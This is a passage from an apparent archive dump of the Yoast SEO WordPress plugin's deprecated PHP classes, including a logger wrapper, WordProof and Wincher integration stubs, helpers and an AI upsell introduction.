 * Our logger class.
 */
class Logger implements LoggerInterface {

	use LoggerTrait;

	/**
	 * The logger object.
	 *
	 * @var LoggerInterface
	 */
	protected $wrapped_logger;

	/**
	 * Logger constructor.
	 */
	public function __construct() {
		$this->wrapped_logger = new NullLogger();

		/**
		 * Gives the possibility to set override the logger interface.
		 *
		 * @param LoggerInterface $logger Instance of NullLogger.
		 *
		 * @return LoggerInterface The logger object.
		 */
		$this->wrapped_logger = \apply_filters( 'wpseo_logger', $this->wrapped_logger );
	}

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param mixed  $level   The log level.
	 * @param string $message The log message.
	 * @param array  $context The log context.
	 *
	 * @return void
	 */
	public function log( $level, $message, array $context = [] ) {
		$this->wrapped_logger->log( $level, $message, $context );
	}
}
wordpress-seo/src/deprecated/admin/class-customizer.php000064400000002526147510273100017364 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Customizer
 */

/**
 * Class with functionality to support WP SEO settings in WordPress Customizer.
 *
 * @codeCoverageIgnore
 * @deprecated 22.8
 */
class WPSEO_Customizer {

	/**
	 * Holds the customize manager.
	 *
	 * @deprecated 22.8
	 *
	 * @var WP_Customize_Manager
	 */
	protected $wp_customize;

	/**
	 * Construct Method.
	 *
	 * @codeCoverageIgnore
	 * @deprecated 22.8
	 */
	public function __construct() {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.8' );
	}

	/**
	 * Function to support WordPress Customizer.
	 *
	 * @param WP_Customize_Manager $wp_customize Manager class instance.
	 *
	 * @codeCoverageIgnore
	 * @deprecated 22.8
	 *
	 * @return void
	 */
	public function wpseo_customize_register( $wp_customize ) {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.8' );
	}

	/**
	 * Returns whether or not the breadcrumbs are active.
	 *
	 * @codeCoverageIgnore
	 * @deprecated 22.8
	 *
	 * @return void
	 */
	public function breadcrumbs_active_callback() {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.8' );
	}

	/**
	 * Returns whether or not to show the breadcrumbs blog show option.
	 *
	 * @codeCoverageIgnore
	 * @deprecated 22.8
	 *
	 * @return void
	 */
	public function breadcrumbs_blog_show_active_cb() {
		_deprecated_function( __METHOD__, 'Yoast SEO 22.8' );
	}
}
wordpress-seo/src/deprecated/src/integrations/duplicate-post-integration.php000064400000001730147510273100023534 0ustar00<?php

namespace Yoast\WP\SEO\Integrations;

use Yoast\WP\SEO\Conditionals\No_Conditionals;

/**
 * Class to manage the integration with Yoast Duplicate Post.
 *
 * @deprecated 23.4
 * @codeCoverageIgnore
 */
class Duplicate_Post_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.4' );
	}

	/**
	 * Filters out the Zapier meta when you copy a post with Yoast Duplicate Post.
	 *
	 * @deprecated 23.4
	 * @codeCoverageIgnore
	 *
	 * @param array $meta_excludelist The current excludelist of meta fields.
	 *
	 * @return array The updated excludelist.
	 */
	public function exclude_zapier_meta( $meta_excludelist ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.4' );

		return $meta_excludelist;
	}
}
wordpress-seo/src/deprecated/src/integrations/third-party/wincher.php000064400000004422147510273100022165 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Wincher_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Feature_Toggle;

/**
 * Adds the Wincher integration.
 *
 * @deprecated 21.6
 * @codeCoverageIgnore
 */
class Wincher implements Integration_Interface {

	/**
	 * The Wincher helper instance.
	 *
	 * @var Wincher_Helper
	 */
	protected $wincher;

	/**
	 * The Wincher integration toggle constructor.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param Wincher_Helper $wincher The Wincher helper instance.
	 */
	public function __construct( Wincher_Helper $wincher ) {
		$this->wincher = $wincher;
	}

	/**
	 * Initializes the integration.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Adds the Wincher integration toggle to the $integration_toggles array.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param array $integration_toggles The integration toggles array.
	 *
	 * @return array The updated integration toggles array.
	 */
	public function add_integration_toggle( $integration_toggles ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );

		return $integration_toggles;
	}

	/**
	 * Adds the disabled note when the integration toggle is disabled.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Feature_Toggle $integration The integration toggle class.
	 *
	 * @return void
	 */
	public function after_integration_toggle( $integration ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
	}

	/**
	 * Adds the disabled note to the network integration toggle.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Feature_Toggle $integration The integration toggle class.
	 *
	 * @return void
	 */
	public function after_network_integration_toggle( $integration ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
	}
}
wordpress-seo/src/deprecated/src/integrations/third-party/wordproof-integration-toggle.php000064400000006636147510273100026360 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Wordproof_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Feature_Toggle;

/**
 * Class WordProofIntegrationToggle.
 *
 * @deprecated 21.6
 * @codeCoverageIgnore
 *
 * @package Yoast\WP\SEO\Integrations\Third_Party
 */
class Wordproof_Integration_Toggle implements Integration_Interface {

	/**
	 * The WordProof helper instance.
	 *
	 * @var Wordproof_Helper
	 */
	protected $wordproof;

	/**
	 * The WordProof integration toggle constructor.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param Wordproof_Helper $wordproof The WordProof helper instance.
	 */
	public function __construct( Wordproof_Helper $wordproof ) {
		$this->wordproof = $wordproof;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
	}

	/**
	 * Adds the WordProof integration toggle to the array.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @param array $integration_toggles The integration toggles array.
	 *
	 * @return array The updated integration toggles array.
	 */
	public function add_integration_toggle( $integration_toggles ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );

		return $integration_toggles;
	}

	/**
	 * Set the default WordProof integration option value depending if the integration is disabled or not.
	 *
	 * @param array $defaults Array containing default wpseo options.
	 *
	 * @return array
	 */
	public function default_values( $defaults ) {
		if ( $this->wordproof->integration_is_disabled() ) {
			$defaults['wordproof_integration_active'] = false;
		}

		return $defaults;
	}

	/**
	 * Add an explainer when the integration toggle is disabled.
	 *
	 * @deprecated 20.3
	 * @codeCoverageIgnore
	 *
	 * @param Yoast_Feature_Toggle $integration The integration toggle class.
	 *
	 * @return void
	 */
	public function after_integration_toggle( $integration ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 20.3' );
		if ( $integration->setting === 'wordproof_integration_active' ) {
			if ( $integration->disabled ) {

				$conditional = $this->wordproof->integration_is_disabled( true );

				if ( $conditional === 'Non_Multisite_Conditional' ) {
					echo '<p>' . \sprintf(
						/* translators: %s expands to WordProof */
						\esc_html__( 'Currently, the %s integration is not available for multisites.', 'wordpress-seo' ),
						'WordProof'
					) . '</p>';
				}

				if ( $conditional === 'Wordproof_Plugin_Inactive_Conditional' ) {
					echo '<p>' . \esc_html__( 'The WordProof Timestamp plugin needs to be disabled before you can activate this integration.', 'wordpress-seo' ) . '</p>';
				}
			}
		}
	}

	/**
	 * Add an explainer when the network integration toggle is disabled.
	 *
	 * @param Yoast_Feature_Toggle $integration The integration toggle class.
	 *
	 * @return void
	 */
	public function after_network_integration_toggle( $integration ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6' );
	}
}
wordpress-seo/src/deprecated/src/integrations/third-party/wordproof.php000064400000012140147510273100022543 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Third_Party;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Helpers\Wordproof_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class WordProof
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 *
 * @package Yoast\WP\SEO\Integrations\Third_Party
 */
class Wordproof implements Integration_Interface {

	/**
	 * The Yoast meta key used to save if a post shiould be timestamped.
	 *
	 * @var string
	 */
	protected $post_meta_key = '_yoast_wpseo_wordproof_timestamp';

	/**
	 * The WordProof helper instance.
	 *
	 * @var Wordproof_Helper
	 */
	protected $wordproof;

	/**
	 * Asset manager instance.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The WordProof integration constructor.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param Wordproof_Helper          $wordproof     The WordProof helper instance.
	 * @param WPSEO_Admin_Asset_Manager $asset_manager The WPSEO admin asset manager instance.
	 */
	public function __construct( Wordproof_Helper $wordproof, ?WPSEO_Admin_Asset_Manager $asset_manager = null ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
		if ( ! $asset_manager ) {
			$asset_manager = new WPSEO_Admin_Asset_Manager();
		}

		$this->asset_manager = $asset_manager;
		$this->wordproof     = $wordproof;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
		return [];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
	}

	/**
	 * Initializes the WordProof WordPress SDK.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function sdk_setup() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
	}

	/**
	 * Removes the WordProof timestamp post meta if a legal page is changed.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param int $old_post_id The old post id.
	 * @param int $new_post_id The new post id.
	 *
	 * @return void
	 */
	public function disable_timestamp_for_previous_legal_page( $old_post_id, $new_post_id ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
	}

	/**
	 * Return the Yoast post meta key for the SDK to determine if the post should be timestamped.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param array $meta_keys The array containing meta keys that should be used.
	 * @return array
	 */
	public function add_post_meta_key( $meta_keys ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
		return [ $this->post_meta_key ];
	}

	/**
	 * Return an empty array to disable automatically timestamping selected post types.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param array $post_types The array containing post types that should be automatically timestamped.
	 * @return array
	 */
	public function wordproof_timestamp_post_types( $post_types ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
		return [];
	}

	/**
	 * This filters hides the certificate if the Yoast post meta key is not set to true.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param bool    $value If the certificate should be shown.
	 * @param WP_Post $post  The post object of the post for which to determine the certificate should be shown.
	 * @return bool|null
	 */
	public function show_certificate( $value, $post ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return null;
	}

	/**
	 * Adds the WordProof integration toggle to the array.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param array $fields The currently registered meta fields.
	 *
	 * @return array A new array with meta fields.
	 */
	public function add_meta_field( $fields ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		$fields['advanced']['wordproof_timestamp'] = [
			'type'          => 'hidden',
			'title'         => '',
			'default_value' => '',
			'description'   => '0',
		];

		return $fields;
	}

	/**
	 * Enqueue the uikit script.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );
	}

	/**
	 * Adds async to the wordproof-uikit script.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param string $tag    The script tag for the enqueued script.
	 * @param string $handle The script's registered handle.
	 * @param string $src    The script's source URL.
	 *
	 * @return string The script's tag.
	 *
	 * @phpcs:disable WordPress.WP.EnqueuedResources.NonEnqueuedScript
	 */
	public function add_async_to_script( $tag, $handle, $src ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		if ( $handle !== WPSEO_Admin_Asset_Manager::PREFIX . 'wordproof-uikit' ) {
			return $tag;
		}

		return "<script src={$src} async></script>";
	}
}
wordpress-seo/src/deprecated/src/integrations/admin/old-premium-integration.php000064400000005401147510273100024120 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Old_Premium_Integration class
 *
 * @deprecated 20.10
 * @codeCoverageIgnore
 */
class Old_Premium_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * The capability helper.
	 *
	 * @var Capability_Helper
	 */
	private $capability_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * The Current_Page_Helper.
	 *
	 * @var Current_Page_Helper
	 */
	private $current_page_helper;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Old_Premium_Integration constructor.
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 *
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param Product_Helper            $product_helper      The product helper.
	 * @param Capability_Helper         $capability_helper   The capability helper.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 * @param Current_Page_Helper       $current_page_helper The Current_Page_Helper.
	 */
	public function __construct(
		Options_Helper $options_helper,
		Product_Helper $product_helper,
		Capability_Helper $capability_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager,
		Current_Page_Helper $current_page_helper
	) {
		$this->options_helper      = $options_helper;
		$this->product_helper      = $product_helper;
		$this->capability_helper   = $capability_helper;
		$this->admin_asset_manager = $admin_asset_manager;
		$this->current_page_helper = $current_page_helper;
	}

	/**
	 * {@inheritDoc}
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 20.7' );
	}

	/**
	 * Shows a notice if Premium is older than 20.0-RC1 so Settings might be missing from the UI.
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	public function old_premium_notice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 20.7' );
	}

	/**
	 * Dismisses the old premium notice.
	 *
	 * @deprecated 20.10
	 * @codeCoverageIgnore
	 *
	 * @return bool
	 */
	public function dismiss_old_premium_notice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 20.7' );

		return false;
	}
}
wordpress-seo/src/deprecated/src/integrations/admin/disable-concatenate-scripts-integration.php000064400000002102147510273100027233 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Disable_Concatenate_Scripts_Integration class.
 *
 * @deprecated 23.2
 * @codeCoverageIgnore
 */
class Disable_Concatenate_Scripts_Integration implements Integration_Interface {

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * In this case: when on an admin page.
	 *
	 * @return array The conditionals.
	 *
	 * @deprecated 23.2
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Registers an action to disable script concatenation.
	 *
	 * @return void
	 * @deprecated 23.2
	 */
	public function register_hooks() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.2' );
	}

	/**
	 * Due to bugs in the 5.5 core release concatenate scripts is causing errors.
	 *
	 * Because of this we disable it.
	 *
	 * @return void
	 */
	public function disable_concatenate_scripts() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.2' );
	}
}
wordpress-seo/src/deprecated/src/config/wordproof-translations.php000064400000006462147510273100021564 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class WordProof_Translations
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 *
 * @package Yoast\WP\SEO\Config
 */
class Wordproof_Translations {

	/**
	 * Returns no balance notice translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getNoBalanceNotice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		/* translators: %s expands to WordProof. */
		return \sprintf( \__( 'You are out of timestamps. Please upgrade your account by opening the %s settings.', 'wordpress-seo' ), 'WordProof' );
	}

	/**
	 * Returns no balance notice translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getTimestampSuccessNotice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		/* translators: %s expands to WordProof. */
		return \sprintf( \__( '%s has successfully timestamped this page.', 'wordpress-seo' ), 'WordProof' );
	}

	/**
	 * Returns timestamp failed notice translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getTimestampFailedNotice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		/* translators: %s expands to WordProof. */
		return \sprintf( \__( '%1$s failed to timestamp this page. Please check if you\'re correctly authenticated with %1$s and try to save this page again.', 'wordpress-seo' ), 'WordProof' );
	}

	/**
	 * Returns webhook failed notice translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getWebhookFailedNotice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		/* translators: %s expands to WordProof. */
		return \sprintf( \__( 'The timestamp is not retrieved by your site. Please try again or contact %1$s support.', 'wordpress-seo' ), 'WordProof' );
	}

	/**
	 * Returns no authentication notice translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getNotAuthenticatedNotice() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		/* translators: %s expands to WordProof. */
		return \sprintf( \__( 'The timestamp is not created because you need to authenticate with %s first.', 'wordpress-seo' ), 'WordProof' );
	}

	/**
	 * Returns authenticate button text.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getOpenAuthenticationButtonText() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return \__( 'Open authentication', 'wordpress-seo' );
	}

	/**
	 * Returns open settings button translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getOpenSettingsButtonText() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return \__( 'Open settings', 'wordpress-seo' );
	}

	/**
	 * Returns get contact WordProof Support button translation.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The translation.
	 */
	public function getContactWordProofSupportButtonText() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return \__( 'Contact WordProof support', 'wordpress-seo' );
	}
}
wordpress-seo/src/deprecated/src/config/wordproof-app-config.php000064400000001301147510273100021051 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class WordProof_App_Config.
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 *
 * @package Yoast\WP\SEO\Config
 */
class Wordproof_App_Config {

	/**
	 * Returns the partner.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return string The partner.
	 */
	public function getPartner() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return 'yoast';
	}

	/**
	 * Returns if the WordProof Uikit should be loaded from a cdn.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool True or false.
	 */
	public function getLoadUikitFromCdn() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return false;
	}
}
wordpress-seo/src/deprecated/src/conditionals/third-party/wordproof-plugin-inactive-conditional.php000064400000001205147510273100030120 0ustar00<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Conditional that is met when the WordProof Timestamp plugin is inactive.
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 */
class Wordproof_Plugin_Inactive_Conditional implements Conditional {

	/**
	 * Returns whether or not the WordProof Timestamp plugin is active.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool Whether or not the WordProof Timestamp plugin is active.
	 */
	public function is_met() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return ! \defined( 'WORDPROOF_VERSION' );
	}
}
src/deprecated/src/conditionals/third-party/wordproof-integration-active-conditional.php000064400000002127147510273100030543 0ustar00wordpress-seo<?php

namespace Yoast\WP\SEO\Conditionals\Third_Party;

use Yoast\WP\SEO\Conditionals\Conditional;
use Yoast\WP\SEO\Helpers\Wordproof_Helper;

/**
 * Conditional that is met when the WordProof integration is toggled on.
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 */
class Wordproof_Integration_Active_Conditional implements Conditional {

	/**
	 * The WordProof helper.
	 *
	 * @var Wordproof_Helper
	 */
	private $wordproof;

	/**
	 * WordProof integration active constructor.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param Wordproof_Helper $wordproof The options helper.
	 */
	public function __construct( Wordproof_Helper $wordproof ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		$this->wordproof = $wordproof;
	}

	/**
	 * Returns whether or not the WordProof Timestamp plugin is active.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool Whether or not the WordProof Timestamp plugin is active.
	 */
	public function is_met() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return $this->wordproof->integration_is_active();
	}
}
wordpress-seo/src/deprecated/src/helpers/request-helper.php000064400000001033147510273100020153 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for the request state.
 *
 * @codeCoverageIgnore Because of deprecation.
 */
class Request_Helper {

	/**
	 * Checks if the current request is a REST request.
	 *
	 * @return bool True when the current request is a REST request.
	 *
	 * @deprecated 23.6
	 * @codeCoverageIgnore
	 */
	public function is_rest_request() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.6', 'wp_is_serving_rest_request' );

		return \defined( 'REST_REQUEST' ) && \REST_REQUEST === true;
	}
}
wordpress-seo/src/deprecated/src/helpers/wordproof-helper.php000064400000005061147510273100020511 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for WordProof integration.
 *
 * @deprecated 22.10
 * @codeCoverageIgnore
 */
class Wordproof_Helper {

	/**
	 * Holds the Current Page helper instance.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * Holds the WooCommerce helper instance.
	 *
	 * @var Woocommerce_Helper
	 */
	protected $woocommerce;

	/**
	 * Holds the Options Page helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * WordProof_Helper constructor.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param Current_Page_Helper $current_page The current page helper.
	 * @param Woocommerce_Helper  $woocommerce  The woocommerce helper.
	 * @param Options_Helper      $options      The options helper.
	 */
	public function __construct( Current_Page_Helper $current_page, Woocommerce_Helper $woocommerce, Options_Helper $options ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		$this->current_page = $current_page;
		$this->woocommerce  = $woocommerce;
		$this->options      = $options;
	}

	/**
	 * Remove site options after disabling the integration.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool Returns if the options are deleted
	 */
	public function remove_site_options() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return \delete_site_option( 'wordproof_access_token' )
			&& \delete_site_option( 'wordproof_source_id' );
	}

	/**
	 * Returns if conditionals are met. If not, the integration should be disabled.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @param bool $return_conditional If the conditional class name that was unmet should be returned.
	 *
	 * @return bool|string Returns if the integration should be disabled.
	 */
	public function integration_is_disabled( $return_conditional = false ) {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return true;
	}

	/**
	 * Returns if the WordProof integration toggle is turned on.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool Returns if the integration toggle is set to true if conditionals are met.
	 */
	public function integration_is_active() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return false;
	}

	/**
	 * Return if WordProof should be active for this post editor page.
	 *
	 * @deprecated 22.10
	 * @codeCoverageIgnore
	 *
	 * @return bool Returns if WordProof should be active for this page.
	 */
	public function is_active() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 22.10' );

		return false;
	}
}
deprecated/src/introductions/application/ai-generate-titles-and-descriptions-introduction-upsell.php000064400000005350147510273100033652 0ustar00wordpress-seo/src<?php
/**
 * Graceful deprecation of the Ai_Generate_Titles_And_Descriptions_Introduction_Upsell class.
 *
 * {@internal As this file is just (temporarily) put in place to warn extending
 * plugins about the class name changes, it is exempt from select CS standards.}
 *
 * @deprecated 23.2
 *
 * @codeCoverageIgnore
 *
 * @phpcs:disable Generic.Files.OneObjectStructurePerFile.MultipleFound
 * @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedNamespaceFound
 * @phpcs:disable Yoast.Commenting.CodeCoverageIgnoreDeprecated
 * @phpcs:disable Yoast.Commenting.FileComment.Unnecessary
 * @phpcs:disable Yoast.Files.FileName.InvalidClassFileName
 */

namespace Yoast\WP\SEO\Introductions\Application;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;

/**
 * Represents the introduction for the AI generate titles and introduction upsell.
 *
 * @deprecated 23.2 Use {@see \Yoast\WP\SEO\Introductions\Application\Ai_Fix_Assessments_Upsell} instead.
 */
class Ai_Generate_Titles_And_Descriptions_Introduction_Upsell extends Ai_Fix_Assessments_Upsell {

	use Current_Page_Trait;
	use User_Allowed_Trait;
	use Version_Trait;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Constructs the introduction.
	 *
	 * @deprecated 23.2
	 *
	 * @param Product_Helper $product_helper The product helper.
	 * @param Options_Helper $options_helper The options' helper.
	 */
	public function __construct(
		Product_Helper $product_helper,
		Options_Helper $options_helper
	) {
		$this->product_helper = $product_helper;
		$this->options_helper = $options_helper;
	}

	/**
	 * Returns the ID.
	 *
	 * @deprecated 23.2
	 * @codeCoverageIgnore
	 *
	 * @return string
	 */
	public function get_id() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.2' );
		return 'ai-generate-titles-and-descriptions-upsell';
	}

	/**
	 * Returns the unique name.
	 *
	 * @deprecated 21.6
	 * @codeCoverageIgnore
	 *
	 * @return string
	 */
	public function get_name() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 21.6', 'Please use get_id() instead' );

		return $this->get_id();
	}

	/**
	 * Returns the requested pagination priority. Lower means earlier.
	 *
	 * @deprecated 23.2
	 * @codeCoverageIgnore
	 *
	 * @return int
	 */
	public function get_priority() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.2' );
		return 10;
	}

	/**
	 * Returns whether this introduction should show.
	 *
	 * @deprecated 23.2
	 * @codeCoverageIgnore
	 *
	 * @return bool
	 */
	public function should_show() {
		\_deprecated_function( __METHOD__, 'Yoast SEO 23.2' );
		// Outdated feature introduction.
		return false;
	}
}
